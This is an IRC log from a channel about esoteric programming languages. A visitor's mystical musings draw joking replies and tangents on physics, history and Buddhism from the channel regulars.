03:15:18 <Bike> then how do you explain endoderms
03:15:55 <mars639> why does nooone answer my questions?
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03:18:58 <mars639> guess the choice for the name was just ... to have a weird projection area :)
03:20:00 <mars639> i imagine some complete hermetic sealed and sound syntax hehe
03:20:25 <oerjan> http://esolangs.org/wiki/Malbolge
03:20:48 <oerjan> (hermetic, but not turing-complete)
03:22:05 <mars639> pritty much the same brainfuck
03:22:31 <mars639> turing tapes kinda one-dimensional
03:23:07 <oerjan> fungot: say hello to mars639
03:23:07 <fungot> oerjan: bonus points for anyone who uses scm anymore. isn't chez closed? ( i'm in six channels related to scheme already.
03:23:36 <oerjan> fungot: why are you obsessed about a language you are not written in?
03:23:36 <fungot> oerjan: now i don't know it very well.
03:23:58 <mars639> is there some sense in that? i mean, is there some natural archetypical level crystalizing bewteen digits and the ana-log reality? or is this 'just" fun?
03:26:06 <oerjan> well one in here managed to get a money prize from stephen wolfram once
03:26:13 <mars639> i think ancient chinese would be great start.
03:26:31 <mars639> they have post and preorders
03:26:50 <mars639> grade of ancientness depends on the order you choose
03:27:17 <mars639> if u want it reallt ancient just follow the line
03:27:25 <Bike> Listen, can I score a pound from you?
03:27:58 <oerjan> do we have any chinese speakers here? i know some do japanese.
03:28:17 <Bike> i know one, but he ain't talk much
03:28:42 <oerjan> and we have a native korean
03:28:52 <oerjan> (no points for guessing north or south)
03:30:39 <mars639> there rumors about the cosmic arch language around
03:30:46 <mars639> have u guys found that one?
03:31:07 <Bike> yeah. turned out to be C++. kinda awkward.
03:31:09 <mars639> it shall consist of the 256 original behaviours and things humans can group into.
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03:31:44 <mars639> somehow 60 of these things still remain in chinese/sanskrit and russian.
03:32:02 <Bike> Seriously though, can I get that pound, it's even legal here mostly
03:33:25 <callforjudgement> oerjan: there's also Biota, probably the world's only commercially successful esolang
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03:34:05 <mars639> seriously no idea what u are about
03:34:13 <mars639> i am looking for telepaths
03:34:22 <mars639> so i ended up here cause of the name confusion.
03:34:25 <HackEgo> Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: <http://esolangs.org/>. (For the other kind of esoterica, try #esoteric on irc.dal.net.)
03:34:28 <Bike> common mistake
03:34:41 <oerjan> callforjudgement: i already did that, maybe not very legibly
03:34:57 <callforjudgement> it's important to use the stock welcome when you actually want to welcome someone
03:35:09 <oerjan> (disclaimer: it was pretty dead the one time i visited)
03:35:41 <callforjudgement> oerjan: well the number of people who come to this #esoteric looking for the other one is pretty small
03:35:46 <mars639> so why are thse things calles 'esoteric'?? please dont lemmie go away like a fool.
03:36:09 <tswett> I guess the name "esoteric" is a bit of a joke.
03:36:13 <callforjudgement> because they're not mainstream, and have no intention of beign
03:36:24 <tswett> I mean, an "esoteric programming language" is one that's designed to be interesting or funny rather than useful.
03:36:44 <mars639> aha. esoteric = not main stream. (at least for freaky digital programmers). nice :)
03:37:02 <tswett> They do tend to be difficult to understand.
03:37:31 <tswett> Some Googly thing defines the word as "intended for or likely to be understood by only a small number of people with a specialized knowledge or interest". So... yeah, they're that.
03:37:33 <mars639> interesting. esoteric = *difficult to understand (cryptic, thats what programmers, well some, like)
03:39:14 <mars639> i guess in 200 years it will be the bridge bewteen two the two major cults of this planet. so it has clearly great future. maybe you are not aware even of. listen to my vision :p
03:39:38 <elliott_> tell us about the cults please
03:39:42 <mars639> the cult of the left brainhalf and the cult of the right brainhalf
03:39:50 <mars639> AND the cult of the balance of the two halfs. :)
03:40:21 <mars639> i think music is a weird programming language.
03:40:28 <mars639> its so analog. hard to control.
03:40:44 <Bike> tonguing isn't that hard
03:41:20 <mars639> atm the two brainhalfs fighting down in palestine
03:41:26 <mars639> very old program conflict.
03:41:48 <mars639> but yeah.... 200 years. minimum^^
03:41:54 <Bike> How old would you say the conflict involving a country not more than a hundred years old is, exactly
03:42:35 <mars639> the conflict is as old as jerusalem is.
03:42:53 <mars639> it is as old as jeru is and as salem is.
03:43:10 <elliott_> wait is israel the left brain or the right brain
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03:43:35 <mars639> or day and night u know esoteric yin yang in not balance.
03:43:36 <Bike> It's the "ascribe inscrutable motives to modern people because you're a fucking stupid racist" brain
03:43:43 <oerjan> i think all abrahamic religions are left brain, really
03:44:21 <mars639> dia-ballein vs sym-ballein.
03:44:25 <elliott_> which one is the good one mars639 (this is definitely where I want this conversation to go)
03:44:33 <Bike> i'm being trolled pretty hard atm.
03:44:40 <mars639> the good one is the BOTH in balance one.
03:44:52 <mars639> ever saw day fighting the night or winter the summer?
03:44:58 <Bike> get over here so i can rip out your corpus callosum
03:44:59 <elliott_> are you promoting a one-state solution
03:45:15 <mars639> the illusive one the one where one party thinks it is the good one and the other is always the bad one.
03:45:36 <mars639> well... in the end its one state. but no defined state.
03:46:28 <Bike> me, because these clichés actually irritates me, but elliott is still in who gives a shit mode
03:46:51 <tswett> There's a Jeru and a Salem?
03:46:58 <mars639> Bike as you are referring to modern israel, yes. but they are referring to ancient israel themselves by the choice of their settlements.
03:47:19 <elliott_> jerusalem was founded when the two merged
03:47:20 <shachaf> callforjudgement: hm, new nick?
03:47:24 -!- callforjudgement has changed nick to ais523.
03:48:00 <ais523> also, AFAICT the channel regulars are trying to make the conversation even more inscrutable than usual
03:48:06 <mars639> there are even many jerus and salems, the crusaders copied and seeded the holy plaves.
03:48:32 <elliott_> okay I really want to know what this jeru and salem business is about
03:48:48 <mars639> go digging in the mountain
03:48:51 <coppro> this is like reading snow crash all over again
03:48:53 <Bike> So you're saying Jerusalem is actually in Estonia, formerly the state of the Teutons.
03:49:02 <mars639> but beware of the mosque on top of it and that church.
03:49:19 <ais523> ooh, I just had a bad idea
03:49:25 <ais523> an esolang based on esotericism
03:49:35 <elliott_> mars639: are you just stringing random words together because they sound deep
03:49:40 <mars639> Bike no i refer to the jerusalem in the orient aka palestine.
03:49:42 <Bike> you could do some bullshit about FUCKUP and the i ching and all that
03:49:48 <Bike> are you joking
03:49:51 <Bike> what's it east of
03:50:19 <ais523> the way the world is constructed, everything is east of everything else
03:50:34 <Bike> so ais you're saying we're in jeru salem right now
03:50:42 <Bike> that's some pkd shit right there
03:50:45 <mars639> jerusalem in the orient aka palestine.
03:50:58 <Bike> I even live on a hill.
03:51:03 <Bike> Son of a bitch it all makes sense.
03:51:15 <ais523> mars639: if you hadn't realised yet, this conversation has gone well beyond the point where it's going to make sense to anyone; the channel regulars are busy trolling each other
03:51:31 <elliott_> I want more of mars639's nonsense
03:51:34 <Bike> excuse you, the only one i am being trolled by is irregular
03:51:39 <ais523> so explanations aren't actually going to make a whole lot of difference, because people are actively trying not to understand
03:51:55 <elliott_> actually trying to parse as much meaning from every statement they make as possible
03:51:56 <Bike> i already namedropped like three different mystic bullshitteries
03:52:01 <Bike> i am down with this shit
03:52:14 <Bike> see that? FUCKUP? that's from illuminatus, motherfucker!
03:52:15 <oerjan> i think the people who invented the division into occident and orient would have said jerusalem was in the center
03:52:34 <shachaf> Bike: hey i was reading that
03:52:37 <Bike> i'm pretty deep, if i do say so myself.
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03:52:46 <elliott_> oerjan: they must have made some kind of occident
03:53:00 <Bike> shachaf: http://everything2.com/title/Illuminatus%2521+bands the only important part
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03:53:06 <mars639> someone stated, that he would want to know more of that jeru and salem story. many archeologists would want too. they cant wait digging in teh hill.
03:53:30 <elliott_> I'm literally googling "jeru and salem"
03:53:41 <elliott_> are you sure you didn't just make this up entirely, mars639. are you sure.
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03:53:54 <coppro> incidentally, I highly recommend snow crash
03:54:04 <elliott_> http://www.myth-weavers.com/showthread.php?t=273370 is this it mars639
03:54:08 <oerjan> Bike: everytime i try an i ching reading i get frustrated because the damn thing is so conventional.
03:54:28 <Bike> elliott_: i'm pretty sure this is sacrilegious somehow
03:54:47 <Bike> i mean can monks have hair that long i'm pretty sure they can't
03:54:53 <mars639> <elliott_> jerusalem was founded when the two merged
03:55:09 <elliott_> mars639: like you I made it up
03:55:17 <Bike> i like my yaois to be kosher
03:55:28 * oerjan swats elliott_ because that's obviously what he wanted -----###
03:55:31 <shachaf> did you know i was born in jerusalem
03:55:36 <shachaf> p. sure you can just name drop me
03:55:44 <elliott_> Bike: "As the same person, Jeru and Salem act the same in many ways. Both are very close to one another, to the point that they finish the sentences of each other, and refer to themselves as one person rather than two." see, this is exactly the kind of left brain, right brain, both brains in one brain stuff mars639 was talking about
03:55:44 <Bike> are you left brained or right brained
03:55:51 <Bike> elliott_: whoa.
03:56:00 <Bike> how are they also gay then that doesn't make sense
03:56:05 <Bike> need clarification on this point
03:56:19 <Bike> frontal lobe eh
03:56:19 <shachaf> it depends on which way i rotate my head
03:56:26 <Bike> one of my top ten lobes
03:56:40 <shachaf> can i be spined instead of brained
03:57:02 <Bike> now would you say you're more of a "neurohypophysis" or "adenohypophysis" kind of person
03:57:17 <Bike> and which of your vertebrae would you say most reflects your actions in this muddled world
03:57:34 <elliott_> mars639: anyway, what do you think of yaoi
03:58:37 <Bike> And replace them with left brain and right brain?
03:59:20 <elliott_> mars639: you're dodging the question
03:59:22 <mars639> and yes the illuminati bullshit mindcrap fuck up industry neuroscience advertisments
03:59:32 <Bike> Oh, do tell me about that.
03:59:36 <mars639> are also aware of how to program humans.
03:59:41 <Bike> You see, I'm a neuroscientist. If I'm being fucked up I need to know.
04:00:13 <Bike> I recently worked for the VA. Am I the illuminati? Be honest, I can take it.
04:00:36 <mars639> u guys not even speak latin
04:00:38 <shachaf> Bike: do you ever get an urge to immanentize the eschaton
04:00:57 <Bike> Mostly I just want to make sims go faster, though.
04:01:02 <Bike> I guess that's immanentization, at least.
04:01:33 <Bike> even if what i'm immanentizing is simulated hearing damage.
04:01:42 <Bike> maybe that's how the world will end, really.
04:02:36 <mars639> do you ever read herman marcuse?
04:02:56 <Bike> I'm allergic to critical theory.
04:03:07 <mars639> cause this binary domination shit is inherent in this technology.
04:03:43 <mars639> on things is to think it the other to sense it.
04:04:00 <elliott_> you know, there are way better conspiracy theories you could be making. I'm just saying.
04:04:21 <Bike> i'm sympathetic to ecological psychology, i don't believe in separating thought from sensation
04:07:50 <tswett> Illuminati means blinder, eh?
04:08:15 <oerjan> mars639: never tried what?
04:08:21 <Bike> i ching, probably
04:08:30 <oerjan> tswett: i was going to quibble on that http://en.wiktionary.org/wiki/illuminatus#Latin
04:08:40 <tswett> You're sure it's not the plural of the past participle of "illuminare"?
04:08:58 <mars639> http://en.wikipedia.org/wiki/Names_of_Jerusalem
04:09:12 <Bike> to be fair, what the fuck is a participle
04:09:22 <oerjan> tswett: illumino you barbaric infinitive-user
04:09:30 <mars639> u can also ask the next quantum. it will truly reflect your state of mind :)
04:09:49 <tswett> It's an inflected form of a verb that behaves kind of like an adjective sometimes?
04:10:00 -!- shachaf has set topic: unglogged | brainfuck survey: https://www.surveymonkey.com/s/L82SNZV | https://dl.dropboxusercontent.com/u/2023808/wisdom.pdf http://codu.org/logs/_esoteric/ http://tunes.org/~nef/logs/esoteric/ | If something is possible, then it's possible that nothing is possible..
04:10:01 <tswett> "Quantum", there's another Latin word. I think it means "how much".
04:10:02 <Bike> maybe it's just a binder
04:10:20 <tswett> You know. Someone who bides.
04:10:34 <oerjan> shachaf: hey i put the channel name in on purpose. also, did you change anything else?
04:10:48 <shachaf> oerjan: oops, that was irssi completion striking again
04:10:58 <mars639> thats true. how much of propability i guess.
04:11:16 <shachaf> (since you type /t <tab> and it auto-completes the topic, but if the topic starts with the channel name then it's read as /t #channelname newtopic)
04:11:23 -!- shachaf has set topic: #esoteric unglogged | brainfuck survey: https://www.surveymonkey.com/s/L82SNZV | https://dl.dropboxusercontent.com/u/2023808/wisdom.pdf http://codu.org/logs/_esoteric/ http://tunes.org/~nef/logs/esoteric/ | If something is possible, then it's possible that nothing is possible..
04:11:30 <mars639> however the i gingg used to "read" the univers in u can read also teh local phone book. same effect.
04:11:46 <shachaf> oerjan: I was trying to get rid of the space at the end of the topic but apparently there wasn't one in the first place.
04:11:47 <mars639> in a holographic universe u can read everything at avery corner.
04:11:53 <Bike> who uses a phonebook any more
04:12:26 <mars639> oerjan what are u reading is your own intuition.
04:12:52 <tswett> What's a holographic universe?
04:12:54 <mars639> nooone know how that truly works with that preception delay and stuff
04:13:14 <mars639> tswett thats the core principle of esoterics.
04:13:25 <mars639> at least of hermetics: as above so below /
04:13:34 <mars639> micro corresponds to micro
04:13:53 <mars639> the i ging is a mirror of you and reflects 1 to 1 your inner state.
04:13:59 <mars639> thats all - not much fancy.
04:14:06 <mars639> but its not the book - its you.
04:14:45 <oerjan> mars639: yes but my intuition is split in at least two incompatible parts.
04:14:59 <ais523> tswett: there was a New Scientist article about that a while back; apparently, because of all the different Theories of Everything with competing numbers of dimensions, a scientist came up with a method that they thought could pin down definitively how many dimensions the universe had, and thus which theory was correct
04:15:01 <ais523> but it turned out to be 2
04:15:03 <Bike> left... right... neuro... adeno...
04:15:09 <ais523> space dimensions, that is
04:15:27 <mars639> if u have a deep question burning on your soul, you naturally, w/o any i ging from china, will call for your intutive brainfunction.
04:15:33 <Bike> sounds like a pretty good method
04:15:47 <tswett> I think the evidence is pretty conclusive that the number of ordinary spatial dimensions is actually 3.
04:16:06 <Bike> have you ever, like, actually seen down
04:16:18 <mars639> tswett can u imagine other number than 3?
04:16:20 <elliott_> this channel is best at its worst
04:16:32 <shachaf> what special spatial dimensions
04:16:51 <oerjan> ais523: so he proved the holographic hypothesis? great!
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04:17:31 <Bike> i think this discussion could use some 4chan. let's pick a topic.
04:17:33 -!- Tempo has joined.
04:17:34 <Bike> "How many calories would be in a brick? How would you measure that?"
04:17:41 <Bike> "Like, if all you did was eat things like bricks, bars of iron, panes of glass, etc, would you gain or lose weight? Ignoring the obvious nutritional deficiencies."
04:17:44 <tswett> I can pretty easily imagine a two-dimensional universe.
04:17:47 <mars639> is it true that the machines made us thinking digital?
04:17:58 <Bike> as a neuroscientist i can confirm that yes
04:18:12 <ais523> oerjan: this is what /started/ the holographic hypothesis, I think
04:18:26 <tswett> People think digitally?
04:18:31 <mars639> so theses electrical beeings are really going to take over the planet and enslave a to neurobots?
04:18:33 <tswett> I was pretty sure that the brain is mostly analog.
04:18:37 <ais523> <elliott_> this channel is best at its worst ← I disagree, I think
04:18:47 <ais523> mars639: that's a bit of a leap
04:18:55 <tswett> Well, we certainly don't *know* what these electrical beings are going to do... do we?
04:18:56 <ais523> tswett: it's digital in logic level, but analog in time
04:18:58 <mars639> tswett well we adapt more to the machine then the machine to us.
04:19:05 <tswett> ais523: yeah, that's true.
04:19:05 <mars639> clearly it passed the turing test
04:19:25 <ais523> mars639: what, it was better at pretending to be a woman than a human man was?
04:19:36 <tswett> Hey, so I'm reading about quantum electrodynamics.
04:19:47 <tswett> How, when light travels from place to place, it actually takes every possible path simultaneously.
04:19:52 <mars639> no the machine can now lie.
04:19:55 <Bike> path integral formulation, right?
04:20:06 <mars639> it does not understand moral
04:20:11 <ais523> to me, the weirdest part of quantum electrodynamics is the fact that probabilities have a direction, and can cancel out
04:20:11 <tswett> "QED: The Strange Theory of Light and Matter".
04:20:20 <tswett> Because I'm dumb and I don't know what a Lagrangian is.
04:20:28 <tswett> Did I even spell Lagrangian right? That doesn't look right.
04:20:30 <ais523> light taking every path simultaneously is minor compared to that
04:20:32 <Bike> ais523: god, i read "probability per unit time per unit area" the other day and just gave up
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04:20:47 <Bike> like what am i supposed to do with that.
04:21:20 <tswett> At the moment, what I don't understand is how all this matches up with the "ordinary" behavior of waves.
04:21:23 <Bike> "it's like electrical flux" no, fuck you, i can't flip a lightswitch with probability flux
04:21:31 <ais523> tswett: that's what the directional probabilities are for
04:21:35 <tswett> Like, sound does a whole lot of the same things as Feynman's light.
04:21:40 <tswett> This is probably actually pretty easy to understand.
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04:21:56 <Bike> why would you think that
04:22:19 <mars639> tsweet the signal is analog?
04:22:42 <Bike> tswett is probably referring to time coding.
04:22:53 <Bike> spikes are all or nothing, but take place at non-"digital" times.
04:22:57 <Bike> most of the time.
04:22:58 <tswett> The wave equation is simple. Light behaves like the wave equation. Therefore, light behaves simply. Or whatever.
04:23:01 <mars639> u are in advanced siddhis :)
04:23:25 <mars639> the hiddena nd forbidden skills
04:23:26 <Bike> "spiritual, magical, paranormal, or supernatural powers acquired through sadhana (spiritual practices), such as meditation and yoga"
04:23:44 <mars639> aerontautic and other stuff
04:24:09 <ais523> there's a nice series of short stories set in a world where Planck's constant is much, much larger
04:24:15 <ais523> so that humans can diffract by walking through a line of trees, etc.
04:24:19 <ais523> I forget what it's called
04:24:51 <tswett> Reminds me of... Greg Egan's Orthogonal?
04:25:09 <tswett> Where a certain sign is flipped and so time behaves the same way as space.
04:25:23 <tswett> I think essentially, the universe had four spatial dimensions and no temporal dimensions.
04:25:25 <mars639> do i write my esoteric language best in c++?
04:25:36 <Bike> nah use python
04:25:38 <tswett> Depends on the language.
04:25:41 <Bike> simple, hard to fuck up too badly
04:25:50 <mars639> #dimension i think its the same.
04:26:09 <mars639> u can view object at place A and at place B.
04:26:15 <tswett> You know, I think a two-dimensional written language would be cool.
04:26:24 <mars639> doesnt matter in which system.
04:26:39 <mars639> and between u just _assume_ time. a state change.
04:26:55 * oerjan swats Bike for suggesting anything other than haskell -----###
04:26:58 <tswett> English is a one-dimensional language. You can't say two words at the same time, and time is one-dimensional.
04:26:58 <elliott_> mars639: I'm curious, how old are you
04:27:00 <Bike> something only someone who's never seen a boustrophedon would say.
04:27:10 <tswett> I've seen boustrophedon.
04:27:18 <elliott_> I was afraid you'd be older than me
04:27:28 <tswett> elliott is 3, I think.
04:27:46 <tswett> elliott_: did you know that you have a little brother now?
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04:28:11 <tswett> He's, like, 1 or something.
04:28:18 <tswett> Man, I'm bad at keeping track of this stuff.
04:28:20 <mars639> much more then exploiting the gift of countabily isnt with the digits.
04:28:30 <mars639> it ends up in the upper three of the tree.
04:28:38 <tswett> What day was my dad born? Was it the... holy crap his birthday is in a couple of days?
04:28:40 <mars639> the question of subatomic "decisions".
04:28:47 <mars639> what was before and after.
04:29:04 <elliott_> mars639: if you talked to someone who was talking the same way as you are now, would you understand what they're saying and be able to communicate ideas effectively with them?
04:29:33 <elliott_> mars639: okay, but about different things, with different assumptions.
04:29:34 <mars639> but incidentically you do :)
04:30:09 <ais523> elliott_: well it's easier than talking to zzo38; mars639 explains preëmptively
04:30:13 <mars639> elliot notm necessarlily contraditcing. just on many levels at the same time (analog and synchron)
04:30:14 <tswett> I'm halfway through reading this book about quantum electrodynamics.
04:30:23 <elliott_> ais523: I understand zzo38 way more than mars639
04:30:30 <ais523> elliott_: I mean the talking style
04:30:33 <tswett> Hey look, a diaëresis.
04:30:37 <ais523> zzo38's easier to understand because the subject matter is more familiar
04:30:44 <ais523> tswett: it took me ages to remember the compose sequence for that
04:30:49 <ais523> then I gave up and used altgr-[
04:30:55 <tswett> Feynman's even easier to understand.
04:31:13 <mars639> so u dont get that with the time.
04:31:23 <mars639> u still hold on 4 lines. fine.
04:31:30 <tswett> Feynman says that QED explains everything except gravity and nuclear phenomena.
04:31:34 <mars639> the mayans had an interesting view.
04:31:39 <tswett> That's... a really successful theory.
04:31:44 <mars639> pritty like time = energy = endless or so
04:31:58 <Bike> well, you could say that about maxwell's equations, i guess.
04:32:08 <Bike> admittedly "as successful as maxwell's equations" is also pretty good
04:32:14 <mars639> hehe sry for trolling but its too temptative
04:32:19 <elliott_> do you fetishise dead civilisations because you find yourself unable to think coherent thoughts in your present one
04:32:51 <mars639> u dont answer on the geometrical model u put up.
04:33:58 <mars639> it was "time" as a concept of 'spatial changes' as newton and the ancients (greeks mainly) used it.
04:34:18 <mars639> anyway. was nice talk so far :)
04:34:22 <ais523> hmm, this reminds me of the theory that the spacing of the planets around Earth is based on the densest possible nesting of platonic solids
04:34:22 <Bike> ok really though how ancient are we talking
04:34:34 <Bike> mayans, pre-han chinese, and classical greece are pretty far away, time wise
04:34:44 <tswett> When did "ancient Greece" begin?
04:34:55 <mars639> yeah all these old concepts.
04:35:00 <Bike> probably after the dark ages?
04:35:04 <mars639> imagine they lived in the same physics like we do!
04:35:10 <tswett> Ancient Greece after the Dark Ages?
04:35:11 <mars639> just the magnets were what stronger hu
04:35:16 <Bike> the greek dark ages.
04:35:24 <tswett> Ah. The Greek Dark Ages.
04:35:27 <Bike> when homer was chillin', i believe.
04:35:36 <mars639> in china with buddha who knows.
04:35:37 <Bike> aristotle and plato and all them fucks were later.
04:36:10 <Bike> of course, pythagoras was like a hundred years years before plato too.
04:36:16 <mars639> naja mind just doesnt matter. or does it?
04:36:26 <tswett> Maybe Ancient Greece began when Ancient Greek began.
04:36:30 <tswett> When did people first start speaking Greek?
04:36:32 <Bike> and buddhism didn't exist in china before the han dynasty, really.
04:37:13 <Bike> i mean, you remember qin shi huang.
04:37:18 <Bike> not really a buddhist.
04:37:22 <Bike> ok great, but they weren't in china.
04:37:23 <mars639> according to the buddhists.
04:37:39 <mars639> at least according to buddhists.
04:37:49 <Bike> no, dude, they weren't. the buddhist texts hadn't even been translated into chinese at that point.
04:38:06 <Bike> i know buddhists. they ain't stupid. they know this. it's not some young earth bullshit.
04:38:10 <tswett> I don't remember what "Buddha" refers to besides that Siddhartha Gautama guy whose name I'm probably misspelling.
04:38:19 <mars639> buddhas are enlightent beeings.
04:38:31 <Bike> an enlightened being, of which there ahve been various, but i don't think any in the current iteration before siddhartha?
04:39:00 <Bike> right, yeah, siddhartha was the first in the yuga i guess.
04:39:18 <Bike> so that's four billion years or so
04:39:19 <Bike> rather pre-china
04:39:33 <tswett> When did people first start speaking Chinese, eh?
04:39:33 <mars639> wow u are informed **respect**
04:39:36 <Bike> so, buddhists do not in fact believe that buddhas have always been in china.
04:40:08 <mars639> Bike, no Hindus belive that Buddhas existed always everywhere.
04:40:32 <Bike> tswett: btw i'm pretty sure before the greek dark ages you had mycenaean and other non-"greek" things, so a good starting point for "ancient greece" imo
04:40:32 <mars639> Buddhism sees itself as universal.
04:40:44 <mars639> not bounded to nations, races, or whatever.
04:41:11 <mars639> but we dont know shit form that time.
04:41:31 <tswett> Since I'm immersing myself in quantum electrodynamics, I find myself wondering about probability amplitudes of Buddhas manifesting at various places and times.
04:42:07 <tswett> There's a nonzero probability that a Buddha who died tonight in New York City would reincarnate in France in the 1660s.
04:42:12 <tswett> Assuming that Buddhas are electrons.
04:42:27 <Bike> wasn't that wheeler?
04:42:28 <mars639> the process of a breath reflects the process of the universe.
04:42:29 <tswett> Oh... not really wondering so much as letting my imagination roam freely and pee on everything.
04:42:35 <Bike> i guess that's kind of a pre-quantum theory.
04:42:46 <tswett> Bike: wasn't what Wheeler?
04:42:57 <Bike> tswett: http://en.wikipedia.org/wiki/One-electron_universe
04:43:09 <Bike> well, i guess not pre-quantum then.
04:43:32 <Bike> "Well, maybe they are hidden in the protons or something"
04:44:21 <Bike> I guess you'd need to have an anti-Buddha for a while though.
04:44:31 <Bike> like some kind of benjamin button asura.
04:44:41 <tswett> Well, a Buddha traveling from A to B is the same as an anti-Buddha traveling from B to A.
04:44:48 <mars639> there will be but always a surrounding ONE.
04:44:56 <tswett> So I guess there's another way you could think of it.
04:44:56 <mars639> the uni-verse is not to split.
04:45:21 <tswett> Which is that a Buddha is born in France in the 1660s, thereby also producing an anti-Buddha.
04:45:29 <mars639> did they pushed the magic button at your backhead?? oO
04:45:41 <mars639> and put the spoken quantum water over it?
04:45:46 <tswett> The anti-Buddha then "reincarnates" as the Buddha dying in New York City.
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04:46:14 <tswett> You know, bifurcation diagrams look so much like Feynman diagrams.
04:46:44 <mars639> tswett are u firm with electrics?
04:47:09 <mars639> i am currently renovating.. well but what i mean can u maybe explain me one thing yeah?
04:47:11 <Bike> uh, really? can you give me an example? none of the bifurcation diagrams i've seen seemed too feynmany.
04:47:47 <tswett> mars639: depends on what you mean by "electrics".
04:48:04 <Bike> of course, 90% of the feynman diagrams i've seen have just been http://scienceworld.wolfram.com/physics/fimg88.gif, and the rest were ones in GEB that i think were jokey
04:48:28 <mars639> can u explain me what produces magentic forces?\
04:48:28 <tswett> Bike: they're both directed graphs where the vertices obey whatever rules.
04:48:35 <Bike> Moving electrons.
04:48:51 <tswett> As for a deeper explanation than that? Nope, I have no idea.
04:48:57 <mars639> and electrics flowing electrons.
04:49:02 <Bike> something about spinning electrons.
04:49:03 <mars639> just that model does not hold.
04:49:15 <Bike> i'm taking electrodynamics this semester, so hopefully i'll understand at some point.
04:49:17 <mars639> aha something. now its getting precies.
04:49:41 <mars639> cause newton never found his contra-force.
04:49:58 <Bike> that's right, i was going to read https://www.fourmilab.ch/etexts/einstein/specrel/www/ again, or rather attempt to do so.
04:49:59 <mars639> tried to apply his own first principle.
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04:50:33 <mars639> but he couldnt find and after hiim some years later they continued assuming that there exists nothing like anti-grav and developed the model in a certain branch.
04:50:41 <tswett> What's a contra-force?
04:51:03 <mars639> the force produced by any force.
04:51:19 <mars639> like the travelling buddhas.
04:51:51 <tswett> Forces produce forces, eh?
04:51:58 <tswett> Like how photons can emit electrons which emit photons?
04:52:21 <mars639> yes if u push the table, table starts mystically to push you (physicians say).
04:53:16 <tswett> I dunno what's mystical about it. You've got electrons, the table's got electrons. Electrons repel electrons.
04:53:20 <Bike> Newton's third law as applied to gravity tells you that the "contra-force" to gravity is in fact: gravity.
04:53:35 <tswett> If you bring your hand and the table really really close together, your electrons and the table's electrons push each other.
04:53:58 <mars639> Bike he himself looked for it and could not find it. but the law stated him to look for. i just refer to what this man left us.
04:54:09 <Bike> he found it, it was gravity
04:54:13 <Bike> problem solved
04:54:17 <Bike> man, there are not many complicated feynman diagrams on google though
04:54:25 <mars639> no he didnt and was very unhappy about.
04:54:50 <Bike> he didn't give a shit, he figured god was doing everything
04:54:52 <mars639> but tswett what induces magnetic forces on the earth?
04:55:03 <Bike> the earth spins on its axis *guitar riff*
04:55:05 <tswett> mars639: I have no idea.
04:55:21 <Bike> tswett: what kind of bifurcation diagram are you thinking about btw, i've never heard of a bifurcation diagram being a directed graph
04:55:54 <tswett> Bike: http://en.wikipedia.org/wiki/Pitchfork_bifurcation#mediaviewer/File:Pitchfork_bifurcation_supercritical.svg how about this one?
04:56:08 <tswett> I mean, it's not really a directed graph.
04:56:16 <tswett> But it looks like a picture of a directed graph.
04:56:24 <Bike> i'd think of it more as a vector field...
04:56:31 <mars639> wish u many good karma and aother quantum fx :)
04:56:41 <Bike> still waiting on that pound bro
04:56:55 <tswett> Bike: but look, there's a vertex right in the middle of the diagram!
04:57:02 <Bike> also i was thinking of http://en.wikipedia.org/wiki/File:Circle_map_bifurcation.jpeg
04:57:05 <Bike> so, you know, confused
04:57:38 <tswett> Yeah, the circle map bifurcation diagram has a lot of detail.
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04:57:40 <Bike> i have no idea what these colors mean
04:58:06 <Bike> i mean, a simple bifurcation diagram, that's http://en.wikipedia.org/wiki/File:LogisticMap_BifurcationDiagram.png, then a point is just part of the stable set for the given parameter
04:58:23 <Bike> but that's different from the pitchfork bifurcation picture, which i'd call like... a diagram of a bifurcation? it's not the same thing, i dunno
04:58:42 <tswett> A bifurcation diagram with just one bifurcation?
04:59:00 <tswett> What's a "part of the stable set"? Is it a periodic point?
04:59:01 <Bike> wow, i think i've literally never realized that
04:59:12 <Bike> that the simple pitchforky diagrams are the same as the logistic bullshit one
04:59:29 <Bike> except that's the wrong term huh.
04:59:31 <Bike> well, in my defense,
04:59:44 <Bike> limit set, i think i meant, actually.
04:59:53 <tswett> I guess that to show up on this picture, it has to be attractive.
05:00:00 <tswett> Limit set, hmm. That sounds about right.
05:00:11 <Bike> you know. the set of points it ends up at.
05:00:28 <Bike> whereas the stable set is uh, the set of points you can start at to get to whatever attracting point(s).
05:00:33 <Bike> this is why we should call everything manifolds
05:01:36 <tswett> You know what else is like whatchamie diagrams? That one one-dimensional cellular automaton where the "background" is a certain thing periodic in space and time.
05:02:02 <tswett> Spaceships in it remind me of particles.
05:02:31 <tswett> And what makes it a little bit compelling is the fact that there's essentially a conservation law.
05:03:11 <tswett> For each spaceship, the background in front of it is shifted however many steps relative to the background behind it. Any collision between spaceships has to conserve this shift number.
05:04:08 <ais523> that seems to fit all your requirements, and I doubt there's another non-equivalent one that does
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05:05:10 <mars256> http://rational-buddhism.blogspot.nl/2012/01/buddhism-quantum-physics-and-mind.html
05:06:17 <oerjan> ^ul (^^:^^^:^^^^^:^^^^^^:::^^^^^^^^:::^^^:^^^^::^)()~((())~:a~*):a~*~^!(~((!())(!:^(^)*)(!!:^(!^)*))~*^!!^):^(~((()())(:a~*:(*(!^)(:)S)~*~(!*(^)(^)S)~*):a~**((!^)~^!^)(!(^)~^^))~*^( )S!!a:(*)*~(~*)**^~*(()()(!)()(!)(:a~*:(!^(!^((!^)*)(!(^)*))(!^((^)*)(!(^)*)))~*~(!^(!^((!^)*)(!(^)*))(!^((^)*)(!(!^)*)))~*):^)~*^!!!!!!~:^):^
05:06:18 <fungot> ^^:^^^:^^^^^:^^^^^^:::^^^^^^^^:::^^^:^^^^::^ :^^^:^^^:::^^^::::^::^^::::::^::^^:^^^::^:^^ ^^:^^^:^::^^:^:::^^:^^^:::::^^:^^^^^:^:^^^^^ :^^^:^^^:^^^^^::^^^^^:^::::^^^^^:::^^^^^:::: ^^:^^^:^^^:::^:^^:::^^^:::^^:::^::^^:::^:::: ^^^^:^^^:^::^^^^^::^^:^::^^^::^^:^^^::^^:::^ :::^^^:^^^:^^:::^:^^^^^:^^:^:^^^^^:^:^^^::^^ ::^^:^^^: ...too much output!
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05:06:35 <Bike> man, why do they always go for copenhagen.
05:06:43 <Bike> there are so many other interpretations!
05:06:49 <Bike> why not bohm. it's insane, that's good in an interpretation
05:07:10 <ais523> what's the bohm interpretation?
05:07:16 <ais523> also, /all/ quantum interpretations are insane
05:07:23 <ais523> because the thing they're trying to interpret is insane
05:08:10 <tswett> Everything is simple once you think about it for long enough.
